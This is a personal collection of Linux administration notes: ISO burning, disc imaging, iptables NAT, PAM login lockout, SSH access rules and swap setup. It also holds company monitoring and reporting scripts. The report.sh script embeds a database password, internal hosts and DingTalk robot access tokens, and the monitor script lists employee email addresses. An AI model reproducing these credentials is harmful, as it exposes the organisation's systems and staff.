链接:https://pan.baidu.com/s/1vHsOLV0v13Spw6viyj820w?pwd=1234 提取码:1234 --来自百度网盘超级会员V6的分享
链接:https://pan.baidu.com/s/1vzoNXaH5uBc7ZoY9VBGdaw?pwd=1234 提取码:1234 --来自百度网盘超级会员V6的分享
Linux 刻录DVD
参考:https://www.baeldung.com/linux/terminal-burn-iso-cd-dvd
1. Overview
An ISO file comprises data, a file system, and a directory structure organized in sectors. Usually, ISO files are a copy of a CD, DVD, or Blu-ray disk for operating systems and other software. An ISO file is also known as an ISO image.
In this tutorial, we’ll learn how to burn an ISO file to a CD or DVD in the Linux terminal using two commands:
We’ll install them, explore how they work, and burn an optical disk with each.
2. Optical Disk Drive and Burn Support
The first step in burning ISO files to a CD or DVD is to locate the optical disk drive’s path. Also, we might need to make sure the system supports CD or DVD burning.
2.1. /proc
First, using the /proc directory and the cat command, let’s check if our system supports CD or DVD burning:
$ cat /proc/sys/dev/cdrom/info CD-ROM information, Id: cdrom.c 3.20 2003/12/17 drive name: sr0 drive speed: 24 ... Can play audio: 1 Can write CD-R: 1 Can write CD-RW: 1 Can read DVD: 1 Can write DVD-R: 1 Can write DVD-RAM: 1 Can read MRW: 1 Can write MRW: 1 Can write RAM: 1
Specifically, our attention falls on Can write DVD-R in the command’s output. The system supports DVD writing if the value is 1. Thus, the system ought to contain at least one piece of hardware that can write DVDs.
Notably, the drive name supporting the DVD write is sr0, hence, the full path to the DVD writer is /dev/sr0.
2.2. lsblk
Alternatively, we can check where our DVD writer is located using the lsblk command:
$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS ... sda 8:0 0 465.8G 0 disk ├─sda1 8:1 0 1M 0 part ├─sda2 8:2 0 513M 0 part /boot/efi └─sda3 8:3 0 465.3G 0 part / sr0 11:0 1 0B 0 rom
Here, the output highlights the presence of our target, sr0 with 0B showing that the DVD is blank. Also, we use this step to examine if we have more than one DVD device on our system.
2.3. lsscsi
However, we can also opt for the lsscsi command, which uses information in the Linux kernel to list SCSI and NVMe devices attached to a system:
$ lsscsi [0:0:0:0] disk ATA WDC WD5000AAKX-6 1H16 /dev/sda [1:0:0:0] cd/dvd TSSTcorp DVD+-RW SN-208BB D300 /dev/sr0
From the output, we can identify the type of disk drive we have. Specifically, DVD+-RW indicates a readable and writable DVD disk.
3. Using the wodim Command
wodim is the main tool provided by the cdrkit project for writing data to optical media like CDs and DVDs. wodim replaced cdrecord in many Linux distributions as the default command-line tool for burning optical discs.
Initially, cdrecord was part of the cdrtools package and was widely used for burning discs. However, due to licensing concerns surrounding cdrtools, the cdrecord tool was replaced by wodim. Thus, we’ll use the wodim command to burn a DVD ISO from the Linux terminal.
3.1. Installing wodim
Of course, to burn an ISO file using the wodim tool, we must first have the command on the system. Specifically, we can install wodim in Ubuntu using apt:
$ sudo apt install wodim
Further, we can check the read and write capabilities of our disk drive with wodim using the -prcap flag:
$ wodim -prcap Device was not specified. Trying to find an appropriate drive... Detected CD-R drive: /dev/sr0 Using /dev/cdrom of unknown capabilities Device type : Removable CD-ROM Version : 5 Response Format: 2 Capabilities : Vendor_info : 'TSSTcorp' Identification : 'DVD+-RW SN-208BB' Revision : 'D300' Device seems to be: Generic mmc2 DVD-R/DVD-RW. Drive capabilities, per MMC-3 page 2A: Does read CD-R media Does write CD-R media Does read CD-RW media Does write CD-RW media Does read DVD-ROM media Does read DVD-R media Does write DVD-R media Does read DVD-RAM media Does write DVD-RAM media Does support test writing ...
Here, the -prcap flag prints the disk drive’s capabilities for SCSI-3 MMC-compliant drives. SCSI-3 MMC stands for SCSI-3 Multimedia Commands, a set of command standards that specifically focuses on controlling and managing multimedia devices, such as CD and DVD drives, within a computing environment.
Since we didn’t specify any device for the command, it searches through the system for a CD or DVD drive. Then, once it finds any device, the command prints its properties and capabilities.
Alternatively, this serves as another way to check where our DVD writer is located.
3.2. Burning an ISO Image
Having confirmed the readiness of our system and the DVD drive, let’s burn the ISO to DVD using the wodim command:
$ wodim -eject -tao speed=2 dev=/dev/sr0 -v -data myiso.iso TOC Type: 1 = CD-ROM scsidev: '/dev/sr0' devname: '/dev/sr0' scsibus: -2 target: -2 lun: -2 ... Track 01: Total bytes read/written: 3826831360/3826831360 (1868570 sectors). Writing time: 857.908s Average write speed 3.3x. Min drive buffer fill was 99% Fixating... Fixating time: 26.991s wodim: fifo had 60277 puts and 60277 gets. wodim: fifo was 0 times empty and 41284 times full, min fill was 94%.
Let’s break down this command:
- -eject ensures that once the burning process is complete, the DVD will be ejected automatically
- -tao allows us to track the process in a Track-At-Once writing mode
- dev=/dev/sr0 specifies the device file for the DVD drive
- speed=2 sets the burning speed to 2
- -v (verbose) enables us to track the recording progress
- -data indicates that we’re writing data to the DVD
However, if the DVD writing fails, we can try a slower speed to see whether that fixes the problem. In fact, we can choose the slowest burn speed that is practically feasible for the lowest chance of an error.
Further, to see if the burning process was successful, we can check the DVD using the lsblk command:
$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS ... sda 8:0 0 465.8G 0 disk ├─sda1 8:1 0 1M 0 part ├─sda2 8:2 0 513M 0 part /boot/efi └─sda3 8:3 0 465.3G 0 part / sr0 11:0 1 3.6G 0 rom /media/user/Ubuntu 22.04.1 LTS amd64
The result, sr0 11:0 1 3.6G 0 rom /media/user/Ubuntu 22.04.1 LTS amd64, indicates that the DVD now contains 3.6G of data and now has the name of the ISO image burned on it.
Next, let’s look at how to use the growisofs command to achieve the same.
4. Using growisofs
The growisofs command is a frontend command-line tool for genisoimage that also serves as an optical disk recording program. Thus, we can use it to burn an ISO to a DVD.
Similar to wodim, we can install growisofs using apt:
$ sudo apt install growisofs
Now, we can explore how to burn an ISO image to DVD using growisofs:
$ growisofs -Z /dev/sr0=/path/to/iso_file
Let’s break down the command:
- -Z indicates that we want to write the ISO to the disk
- /dev/sr0 is the DVD drive’s device name
- /path/to/iso_file is the path to the ISO file
For example, let’s burn the Ubuntu.iso image located in a user’s Download directory:
$ growisofs -Z /dev/sr0=/home/user_1/Downloads/Ubuntu.iso Executing 'builtin_dd if=/home/user/ubuntu.iso of=/dev/sr0 obs=32k seek=0' /dev/sr0: "Current Write Speed" is 8.2x1352KBps. 0/3826831360 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU 0.0% 20971520/3826831360 ( 0.5%) @3.5x, remaining 69:33 RBU 100.0% UBU 99.7% ... 277544960/3826831360 ( 99.7%) @3.9x, remaining 0:03 RBU 13.4% UBU 32.4% 294879232/3826831360 ( 99.9%) @3.8x, remaining 0:01 RBU 7.2% UBU 40.1% builtin_dd: 1379040*2KB out @ average 1.6x1352KBps /dev/sr0: flushing cache /dev/sr0: closing track /dev/sr0: closing disc /dev/sr0: reloading tray
On pressing the Return key, the burning process will start displaying its progress in the terminal. Notably, when the process is done, the DVD ejects automatically.
5. Conclusion
In this article, we saw how to burn an ISO file to a CD or DVD in the Linux terminal using two commands.
First, we burned an ISO image to a DVD using the wodim command. After that, we did the same using the growisofs command.
Linux dd 复制光盘到iso
Using the following procedure, exactly the same ISO image that was used for burning the CD or DVD can be read from a CD or DVD:
1. Reading the block size and the volume size:
[root@testserver ~]# isoinfo -d -i /dev/cdrom | grep -i -E 'block size|volume size' Logical block size is: 2048 Volume size is: 327867
2. Running dd with the parameters for block size and volume size:
[root@testserver ~]# dd if=/dev/cdrom of=test.iso bs=<block size from above> count=<volume size from above>
Progress indicator:
Since version 8.24 of the GNU Coreutils, to which dd belongs, there is the parameter "status=progress" to get a progress indicator:[1]
[root@testserver ~]# dd if=/dev/cdrom of=test.iso bs=<block size from above> count=<volume size from above> status=progress
Alternative:' If you are using an older version of the GNU Coreutils, the following command can also be used in a second console while reading the ISO image to see the current progress (requires root privileges):
killall -USR1 dd
With the use of watch, this call can also be executed each second:
watch -n 1 killall -USR1 dd
Thereby, dd will display the progress status as follows:
admin@adminpc:~/Downloads/isos$ dd if=/dev/sr0 of=cdimage.iso bs=10M 1+0 records in 0+0 records out 0 bytes (0 B) copied, 10.2447 s, 0.0 kB/s 2+0 records in 1+0 records out 10485760 bytes (10 MB) copied, 16.3769 s, 640 kB/s 3+0 records in 2+0 records out 20971520 bytes (21 MB) copied, 22.3123 s, 940 kB/s 5+0 records in 4+0 records out 41943040 bytes (42 MB) copied, 33.6603 s, 1.2 MB/s
Linux性能调整
https://mp.weixin.qq.com/s/h94IRG5EI32WS6rUZj_sFQ
linux双网卡路由转发
root@Unknown:~# cat wifi_route.sh
#!/bin/bash
echo 1 >/proc/sys/net/ipv4/ip_forward
more /proc/sys/net/ipv4/ip_forward
/sbin/iptables -F
iptables -t nat -A POSTROUTING -s 10.112.248.0/22 -o wlan0 -j MASQUERADE
/sbin/iptables -L
sudo iptables -nvL -t nat --line-numbers
sudo iptables -w -t nat -D sshuttle-12300 5
sudo iptables -w -t nat -D OUTPUT 1
sudo iptables -w -t nat -A OUTPUT -s 10.42.0.1/24 -o wlan0 -j MASQUERADE
sudo iptables -w -t nat -A OUTPUT -j sshuttle-12299
sudo iptables -w -t nat -A sshuttle-12300 -j REDIRECT --dest 0.0.0.0/0 -p tcp --to-ports 12300
fw: setting up IPv6.
fw: ip6tables -w -t nat -N sshuttle-12300
fw: ip6tables -w -t nat -F sshuttle-12300
fw: ip6tables -w -t nat -I OUTPUT 1 -j sshuttle-12300
fw: ip6tables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL
fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN --dest ::1/128 -p tcp
fw: setting up IPv4.
# Warning: iptables-legacy tables present, use iptables-legacy to see them
fw: iptables -w -t nat -N sshuttle-12300
fw: iptables -w -t nat -F sshuttle-12300
fw: iptables -w -t nat -I OUTPUT 1 -j sshuttle-12300
fw: iptables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 161.97.156.6/32 -p tcp
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 10.8.8.0/16 -p tcp
fw: iptables -w -t nat -A sshuttle-12300 -j REDIRECT --dest 0.0.0.0/0 -p tcp --to-ports 12300
fw: setting up IPv4.
# Warning: iptables-legacy tables present, use iptables-legacy to see them
fw: iptables -w -t nat -N sshuttle-12300
fw: iptables -w -t nat -F sshuttle-12300
fw: iptables -w -t nat -I OUTPUT 1 -j sshuttle-12300
fw: iptables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 161.97.156.6/32 -p tcp
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 10.8.8.0/16 -p tcp
fw: iptables -w -t nat -A sshuttle-12300 -j REDIRECT --dest 0.0.0.0/0 -p tcp --to-ports 12300
iptables -t nat -I sshuttle-12300 2 -s 10.8.8.0/24 -o wlan0 -j SNAT --to 10.42.0.1
# Warning: iptables-legacy tables present, use iptables-legacy to see them
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
1 0 0 sshuttle-12300 all -- * * 0.0.0.0/0 0.0.0.0/0
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
1 150 9187 sshuttle-12300 all -- * * 0.0.0.0/0 0.0.0.0/0
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
Chain sshuttle-12300 (2 references)
num pkts bytes target prot opt in out source destination
1 119 7142 RETURN all -- * * 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match dst-type LOCAL
2 0 0 RETURN tcp -- * * 0.0.0.0/0 161.97.156.6
3 0 0 RETURN tcp -- * * 0.0.0.0/0 127.0.0.1
4 1 60 RETURN tcp -- * * 0.0.0.0/0 10.8.0.0/16
5 3 180 REDIRECT tcp -- * * 0.0.0.0/0 0.0.0.0/0 redir ports 12300
Docker 更改容器自启动
docker update 09ec3cef2571 --restart=no
CentOS7 安装youtube-dl
$ sudo curl -L https://yt-dl.org/downloads/latest/youtube-dl -o /usr/local/bin/youtube-dl
$ sudo chmod a+rx /usr/local/bin/youtube-dl
$ youtube-dl "https://www.youtube.com/watch?v=8PRpzPY7YwQ"
Centos7 安装rdesktop
wget http://li.nux.ro/download/nux/dextop/el7/x86_64/nux-dextop-release-0-5.el7.nux.noarch.rpm
rpm -Uvh nux-dextop-release*rpm
yum install rdesktop -y
————————————————————————————
imagePullSecrets:
- name: devpull
————————————————————————————
查看RAID类型:
MegaCli64 -ShowSummary -aALL |more
查看磁盘报错信息:
[root@docker12 ~]# MegaCli64 -cfgdsply -aALL |grep -i pre
Predictive Failure Count: 8
Last Predictive Failure Event Seq Number: 10176
————————————————————————————
[root@master1 ~]#grep -A 5 mgr /etc/login.defs
## modified by mgr.
PASS_MAX_DAYS 90
PASS_MIN_DAYS 7
PASS_MIN_LEN 12
PASS_WARN_AGE 30
[root@master1 ~]#grep -A 10 mgr /etc/security/pwquality.conf
## added by mgr.
minlen = 8
minclass = 1
maxrepeat = 0
maxclassrepeat = 4
lcredit = -1
ucredit = -1
dcredit = -1
ocredit = -1
difok = 5
[root@master1 ~]#grep -A 7 mgr /etc/pam.d/passwd
## added by mgr.
password required pam_pwquality.so retry=3
[root@master1 ~]#grep -A 7 mgr /etc/pam.d/system-auth
## added by mgr.
auth required pam_tally2.so deny=3 even_deny_root unlock_time=300
auth required pam_env.so
auth required pam_faildelay.so delay=2000000
auth sufficient pam_fprintd.so
auth sufficient pam_unix.so nullok try_first_pass
auth requisite pam_succeed_if.so uid >= 1000 quiet_success
auth required pam_deny.so
--
## added by mgr.
account required pam_tally2.so
account required pam_unix.so
account sufficient pam_localuser.so
account sufficient pam_succeed_if.so uid < 1000 quiet
account required pam_permit.so
password required pam_pwquality.so dcredit=-1 ucredit=-1 ocredit=-1 lcredit=0
————————————————————————————
/etc/hosts.allow
sshd:172.16.108.10/32
sshd:172.16.105.0/24
sshd:172.16.21.0/24
sshd:172.16.24.0/24
sshd:172.16.104.123/32
sshd:10.0.54.0/24
sshd:10.0.36.0/24
/etc/hosts.deny
sshd:ALL
———————————————————————————
检查账户
grep bash /etc/passwd |cut -d: -f1
passwd -l gbsh
passwd -u gbsh
除root外禁止用户登录
touch /etc/nologin
for i in privoxy k8s jms btscfp btcps btbdp btscfp2 gbsh btgb ; do passwd -l $i; done
————————————————————————————
## added by mgr.
auth required pam_tally2.so deny=3 even_deny_root unlock_time=300
## added by mgr.
account required pam_tally2.so
pam_tally2模块(方法一)
用于对系统进行失败的ssh登录尝试后锁定用户帐户。此模块保留已尝试访问的计数和过多的失败尝试。
配置
使用/etc/pam.d/system-auth或etc/pam.d/password-auth配置文件来配置的登录尝试的访问
auth required pam_tally2.so deny=3 unlock_time=600
account required pam_tally2.so
注意:
auth要放到第二行,不然会导致用户超过3次后也可登录。
如果对root也适用在auth后添加even_deny_root.
auth required pam_tally2.so deny=3 even_deny_root unlock_time=600
pam_tally2命令
查看用户登录失败的信息
pam_tally2 -u test
Login Failures Latest failure From
test 1 06/20/17 14:18:19 192.168.56.1
解锁用户
pam_tally2 -u test -r
pam_faillock 模块(方法二)
在红帽企业版 Linux 6 中, pam_faillock PAM 模块允许系统管理员锁定在指定次数内登录尝试失败的用户账户。限制用户登录尝试的次数主要是作为一个安全措施,旨在防止可能针对获取用户的账户密码的暴力破解
通过 pam_faillock 模块,将登录尝试失败的数据储存在 /var/run/faillock 目录下每位用户的独立文件中
配置
添加以下命令行到 /etc/pam.d/system-auth 文件和/etc/pam.d/password-auth 文件中的对应区段:
auth required pam_faillock.so preauth silent audit deny=3 unlock_time=600
auth sufficient pam_unix.so nullok try_first_pass
auth [default=die] pam_faillock.so authfail audit deny=3
account required pam_faillock.so
注意:
auth required pam_faillock.so preauth silent audit deny=3 必须在最前面。
适用于root在pam_faillock 条目里添加 even_deny_root 选项
faillock命令
查看每个用户的尝试失败次数
$ faillock
test:
When Type Source Valid
2017-06-20 14:29:05 RHOST 192.168.56.1 V
2017-06-20 14:29:14 RHOST 192.168.56.1 V
2017-06-20 14:29:17 RHOST 192.168.56.1 V
解锁一个用户的账户
faillock --user <username> --reset
————————————————————————————
epel使用https地址会报错,更改方法:
sed -i 's#https://#http://#g'/etc/yum.repos.d/epel*repo
————————————————————————————
yum list docker-ce --showduplicates| sort -r
现在我们选择docker-ce 17.06.0.ce 进行安装
根据CenOS下rrpm包命名格式,rpm包名为 docker-ce-17.06.0.ce-1.el7.centos.x86_64.rpm
# yum -y install docker-ce-17.06.0.ce
————————————————————————————
yum -y install latrace.x86_64
localedef -i zh_CN -f UTF-8 zh_CN.UTF-8
export LANG=zh_CN.utf8
locale
yum -y install latrace.x86_64; localedef -i zh_CN -f UTF-8 zh_CN.UTF-8; export LANG=zh_CN.utf8; locale
—————————————————————————————
tar命令和ssh配合使用
如何在空间不是很富裕的情况,把文件从一个分区tar到另外一个分区,其实还有很多办法的,使用管道命令就可以实现
如:
#tar -cvf home |(cd /datavg35; tar -xvf -)---把home文件打包并解压到/datavg35下;
这里我们又想到另外一个问题,把tar的文件传输到另外一台服务器上(个人感觉这个用处对于大的文件,还是写个shell,先tar在ftp/scp).对于一些小文件且目标服务器空间不足的情况下也是可以考虑使用的.
--A机为源服务器,B机为目标服务器
/* 把A机的t11.txt 打包并传送到B机上 */
[root@erpdemo tmp]# tar cvfz - t11.txt|ssh erpprd "cat >t11.tar.gz"
t11.txt
/* 把A机的t11.txt 打包并传送到B机上的/tmp目录下 */
[root@erpdemo tmp]# tar cvfz - t11.txt |ssh erpprd "cd /tmp;cat >t11.tar.gz"
t11.txt
/*将A机的t11.txt压缩文件,复制到B机并解压缩*/
[root@erpdemo tmp]#zcat dir.tar | ssh 192.168.0.116 "cd /opt; tar -xf -"
/*在A机上一边打包t11.txt文件,一边传输到B机并解压*/
[root@erpdemo tmp]# tar cvfz - t11.txt |ssh erpprd "cd /tmp; tar -xvfz -"
在补充几个:
传输到远程:tar czf file| ssh server "tar zxf -"
压缩到远程:tar czf file| ssh server "cat > file.tar.gz"
解压到远程:ssh server "tar zxf -" < file.tar.gz
解压到本地:ssh server "cat file.tar.gz" | tar zxf -
_____________________________________________________________
#!/bin/bash
# -*- coding: utf-8 -*-
# @Time : 2018/5/8 下午22:26
# @Author : zhuagnzhy
# @Mail : zhuangzhiyong@veredholdings.com
# @File : monitor.sh
CC1EMAIL='zhuangzhiyong@veredholdings.com'CC2EMAIL='linhuaichuan@veredholdings.com'EMAIL='wuxianglin@veredholdings.com'
MSG="`date +"%Y-%m-%d %H:%M:%S"` |服务出现异常,请登陆堡垒机查看bl2-app01"
WARN="请核查处理"
LOG_FILE=/data/release/projects/tomcat_api_9010/logs/catalina.out
#KEY_WORDS="ERROR|Exception"
KEY_WORDS="Exception"
ERRLOG=/home/app/script/info.log
cat /dev/null > $ERRLOG
tail -2000 $LOG_FILE > $ERRLOG
if [ -n "`cat $ERRLOG `| grep -iE "$KEY_WORDS"" ]; then
echo $WARN|mutt $EMAIL -s "$MSG" -c $CC1EMAIL -c $CC2EMAIL -a $ERRLOG
echo "`date +"%Y-%m-%d %H:%M:%S"`|Sever Error!" >> /home/app/script/server_error.log
else
echo "`date +"%Y-%m-%d %H:%M:%S"`|Server nomormal!" >> /home/app/script/monitor.log
exit
fi
You have new mail in /var/spool/mail/app
[app@master3 ~/script]$cat report.sh
#!/bin/bash
DATE=`date +"%Y-%m-%-d %H:%M:00"`
WEEK=`date -d"-7 days" +'%Y-%m-%d %H:%M:00'`
NU=NULL
#应收账款笔数
rcvb_count=`/usr/local/src/mysql/bin/mysql -umycat_user -P 8066 '-pbw$xOlEv3U68' -h10.0.40.172 receivable -e "SELECT count(*) as count from biz_rcvb_inf where CREATE_TIME > \"$WEEK\" AND CREATE_TIME < \"$DATE\""| awk 'NR>1'`
all_rcvb_count=`/usr/local/src/mysql/bin/mysql -umycat_user -P 8066 '-pbw$xOlEv3U68' -h10.0.40.172 receivable -e "SELECT count(*) as count from biz_rcvb_inf "| awk 'NR>1'`
#应收账款金额
rcvb_sum=`/usr/local/src/mysql/bin/mysql -umycat_user -P 8066 '-pbw$xOlEv3U68' -h10.0.40.172 receivable -e "SELECT SUM(RCVB_AMT) FROM biz_rcvb_inpt_dtl where DEL_IND = \"0\" AND (RLTV_BTNO is NULL OR RLTV_BTNO=\"\") and CREATE_TIME > \"$WEEK\" AND CREATE_TIME < \"$DATE\""| awk 'NR>1'`
w_rcvb_sum=`awk 'BEGIN{printf "%0.2f",'"$rcvb_sum"'/10000}'`
all_rcvb_sum=`/usr/local/src/mysql/bin/mysql -umycat_user -P 8066 '-pbw$xOlEv3U68' -h10.0.40.172 receivable -e "SELECT SUM(RCVB_AMT) FROM biz_rcvb_inpt_dtl where DEL_IND = \"0\" AND (RLTV_BTNO is NULL OR RLTV_BTNO=\"\")"| awk 'NR>1'`
w_all_rcvb_sum=`awk 'BEGIN{printf "%0.2f",'"$all_rcvb_sum"'/100000000}'`
#融资笔数
fnc_count=`/usr/local/src/mysql/bin/mysql -umycat_user -P 8066 '-pbw$xOlEv3U68' -h10.0.40.172 receivable -e "select count(*) from biz_fnc_bsc_inf WHERE FNS_ST_CD = '1' AND PCS_ST_CD = '2' AND DEL_IND = '0' and CREATE_TIME > \"$WEEK\" AND CREATE_TIME < \"$DATE\""| awk 'NR>1'`
all_fnc_count=`/usr/local/src/mysql/bin/mysql -umycat_user -P 8066 '-pbw$xOlEv3U68' -h10.0.40.172 receivable -e "select count(*) from biz_fnc_bsc_inf WHERE FNS_ST_CD = '1' AND PCS_ST_CD = '2' AND DEL_IND = '0' "| awk 'NR>1'`
#融资金额
fnc_sum=`/usr/local/src/mysql/bin/mysql -umycat_user -P 8066 '-pbw$xOlEv3U68' -h10.0.40.172 core -e "select sum(THS_DSTR_AMT) from biz_loan_dsbr_inf WHERE DSBR_ST_CD = '0' and CREATE_TIME > \"$WEEK\" AND CREATE_TIME < \"$DATE\""| awk 'NR>1'`
w_fnc_sum=`awk 'BEGIN{printf "%0.2f",'"$fnc_sum"'/10000}'`
all_fnc_sum=`/usr/local/src/mysql/bin/mysql -umycat_user -P 8066 '-pbw$xOlEv3U68' -h10.0.40.172 core -e "select sum(THS_DSTR_AMT) from biz_loan_dsbr_inf WHERE DSBR_ST_CD = '0' "| awk 'NR>1'`
w_all_fnc_sum=`awk 'BEGIN{printf "%0.2f",'"$all_fnc_sum"'/100000000}'`
#客户数
acc_count=`/usr/local/src/mysql/bin/mysql -umycat_user -P 6000 '-pbw$xOlEv3U68' -h10.0.40.172 bigtree_platform -e "select count(*) from biz_user_info where CREATE_TIME > \"$WEEK\" AND CREATE_TIME < \"$DATE\" "| awk 'NR>1'`
all_acc_count=`/usr/local/src/mysql/bin/mysql -umycat_user -P 6000 '-pbw$xOlEv3U68' -h10.0.40.172 bigtree_platform -e "select count(*) from biz_user_info "| awk 'NR>1'`
if [ $fnc_sum == $NU ]; then
fnc_sum="0"
fi
curl -o /home/app/script/vistorhttp://10.0.54.52:8010/all
vistor_count=`awk '{print $2}' /home/app/script/vistor`
vistor_all=`cat /home/app/script/vistor_count`
all_vistor_count=`expr $vistor_count + $vistor_all`
echo $all_vistor_count > /home/app/script/vistor_countinfo='
本周业务数据如下:
1、新增应收账款笔数: '"${rcvb_count}"'笔
2、新增应收账款金额: '"${w_rcvb_sum}"'万元
3、新增融资笔数: '"${fnc_count}"' 笔
4、新增融资金额: '"${w_fnc_sum}"'万元
5、新增客户数: '"${acc_count}"'个
6、用户登录数: '"${vistor_count}"'次(含门户与后台)
累计业务数据如下:
1、累计应收账款笔数:'"${all_rcvb_count}"'笔
2、累计应收账款金额:'"${w_all_rcvb_sum}"'亿元
3、累计融资笔数:'"${all_fnc_count}"'笔
4、累计融资金额:'"${w_all_fnc_sum}"'亿元
5、累计客户数:'"${all_acc_count}"'个
6、累计登陆数:'"${all_vistor_count}"'次
'
#业务通知组
#curl 'https://oapi.dingtalk.com/robot/send?access_token=7f3d2305c7849e5f9e7e346a3207bb31790df9ca32e7af33fdb814dcfbb6b54b' -H 'Content-Type: application/json' -d ' {"msgtype": "text", "text": { "content": "'"$info"'" } }'
#高管群
curl 'https://oapi.dingtalk.com/robot/send?access_token=f50cfac60831cbe760b7c4200542c1872173ca5efed3d1b9954d60298de2e33a' -H 'Content-Type: application/json' -d ' {"msgtype": "text", "text": { "content": "'"$info"'" } }'
#测试用途
curl 'https://oapi.dingtalk.com/robot/send?access_token=86d5dbdd103c675eb0b68b4bdc97b2dc6036e169b0fbab88e1fafa22cc57dc21' -H 'Content-Type: application/json' -d ' {"msgtype": "text", "text": { "content": "'"$info"'" } }'
——————————————————————————
按年份 备份文件
for i in `ls -lht |grep -ve 2013 -ve 2014 -ve 2015 -ve 2016 -ve 2017 |awk '{print $9}'`; do cp -v $i /home/ftp/htdocs/nfs/2018/ >> /var/log/2018bak.log; done &
rsync 增量备份脚本
#!/bin/sh
rsync -av /var/atlassian/application-data/confluence/backups/*.ziproot@172.16.108.10:/data/nfs/backup/confluence/
——————————————————————————
asciinema 用途
yum -y install asciinema.noarch
vi /etc/profile
asciinema rec -t "`whoami` op logs:" ~/.ssh/`whoami`-`date +%F-%T`.log
178 179 186 187
——————————————————————————
linux在线清理缓存
echo 1 > /proc/sys/vm/drop_caches;
echo 2 > /proc/sys/vm/drop_caches;
echo 3 > /proc/sys/vm/drop_caches;
—————————————————————————
linux 在线添加swap
dd if=/dev/zero of=/swapfile bs=1M count=4096
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile
vi /etc/fstab
/swapfile none swap default 0 0
______________________________________________________
grep 去掉空行
grep -ve "^$" -ve "^#" /etc/nslcd.conf
_______________________________________________________
linux下查看系统负载命令
2011-09-06 19:43:28| 分类: linux环境/系统 |举报|字号 订阅
下载LOFTER我的照片书 |
可能大家都会注意到,当在Linux系统中执行uptime、w和top三个命令时。在第一行的结果结尾都会有load average,并且后面会跟着三个数字,这就是今天我们要说的系统平均负载。
系统平均负载的定义:在特定时间间隔内运行队列中的平均进程数。如果一个进程满足以下条件,则其就会位于运行队列中:
1. 没有在等待I/O 操作的结果
2. 没有主动进入等待状态(也就是没有调用'wait')
3. 没有被停止(例如:等待终止)
top
1、获取cpu占用情况
[root@localhost utx86]# top -n 1 |grep Cpu
Cpu(s): 1.9%us, 1.3%sy, 0.0%ni, 95.9%id, 0.6%wa, 0.1%hi, 0.2%si, 0.0%st
解释:1.9%us是用户占用cpu情况 1.3%sy,是系统占用cpu情况
2、获得内存占用情况
[root@localhost utx86]# top -n 1 |grep Mem
Mem: 2066240k total, 1515784k used, 550456k free, 195336k buffers
uptime
linux系统中的uptime命令主要用于获取主机运行时间和查询linux系统负载等信息。
uptime命令可以显示系统已经运行了多长时间,信息显示依次为:现在时间、系统已经运行了多长时间、目前有多少登陆用户、系统在过去的1分钟、5分钟和15分钟内的平均负载。
uptime命令用法十分简单:直接输入uptime即可.
另外还有一个参数 -V ,是用来查询版本的。 (注意是大写的字母v)
[linux @ localhost]$ uptime –V
procps version 3.2.7
[linux @ localhost]$ uptime
显示结果为:
10:19:04 up 257 days, 18:56, 12 users, load average: 2.10, 2.10,2.09
显示内容说明:
10:19:04 //系统当前时间
up 257 days, 18:56 //主机已运行时间,时间越大,说明你的机器越稳定。
12 user //用户连接数,是总连接数而不是用户数
load average // 系统平均负载,统计最近1,5,15分钟的系统平均负载
那么什么是系统平均负载呢? 系统平均负载是指在特定时间间隔内运行队列中的平均进程数。
如果每个CPU内核的当前活动进程数不大于3的话,那么系统的性能是良好的。如果每个CPU内核的任务数大于5,那么这台机器的性能有严重问题。
如果你的linux主机是1个双核CPU的话,当Load Average 为6的时候说明机器已经被充分使用了。
vmstat介绍
通过STATSPACK收集服务器信息,主要通过收集VMSTAT的信息来展现服务器状况。VMSTAT工具是最常见的UNIX监控工具,可以展现给定时间间隔的服务器的状态值。
一般VMSTAT工具的使用是通过两个数字参数来完成的,第一个参数是采样的时间间隔数,单位是秒,第二个参数是采样的次数。如:
[oracle@localhost oracle]$vmstat 2
procs -----------memory---------- ---swap-- -----io---- --system-- ----cpu----
r b swpd free buff cache si so bi bo in cs us sy id wa
0 0 195804 3812 40616 1598656 0 0 0 0 1024 66976 0 0 100 0
0 0 195804 3812 40616 1598656 0 0 0 12 1048 66961 0 0 100 0
0 0 195804 3812 40616 1598656 0 0 0 28 1054 67067 0 0 100 0
0 0 195804 3812 40616 1598656 0 0 0 0 1020 66988 0 0 100 0
(注:目前系统几乎空闲,并且不同操作系统VMSTAT输出内容有所不同)
目前说来,对于服务器监控有用处的度量主要有:
r------运行队列
b------表示阻塞的进程的数量。
swpd-----代表虚拟内存使用的数量。
free -------代表空闲内存的数量。
buff--------代表作为缓冲区的内存的数量。
cache-------文件系统缓存使用的RAM数量。
si ------------从磁盘分页到内存的数量。
so----------从内存分页到磁盘的数量。
bi----------代表从硬盘读出的块数量。
bo---------代表写入硬盘的块数量。
us---------代表用户的进程所占的cpu百分比。
sy---------代表系统进程所占的cpu的百分比。
id----------系统空闲的cpu所占的百分比。
(如果r经常大于4 ,且id经常少于40,表示cpu的负荷很重。)
(如果bi,bo 长期不等于0,表示内存不足)
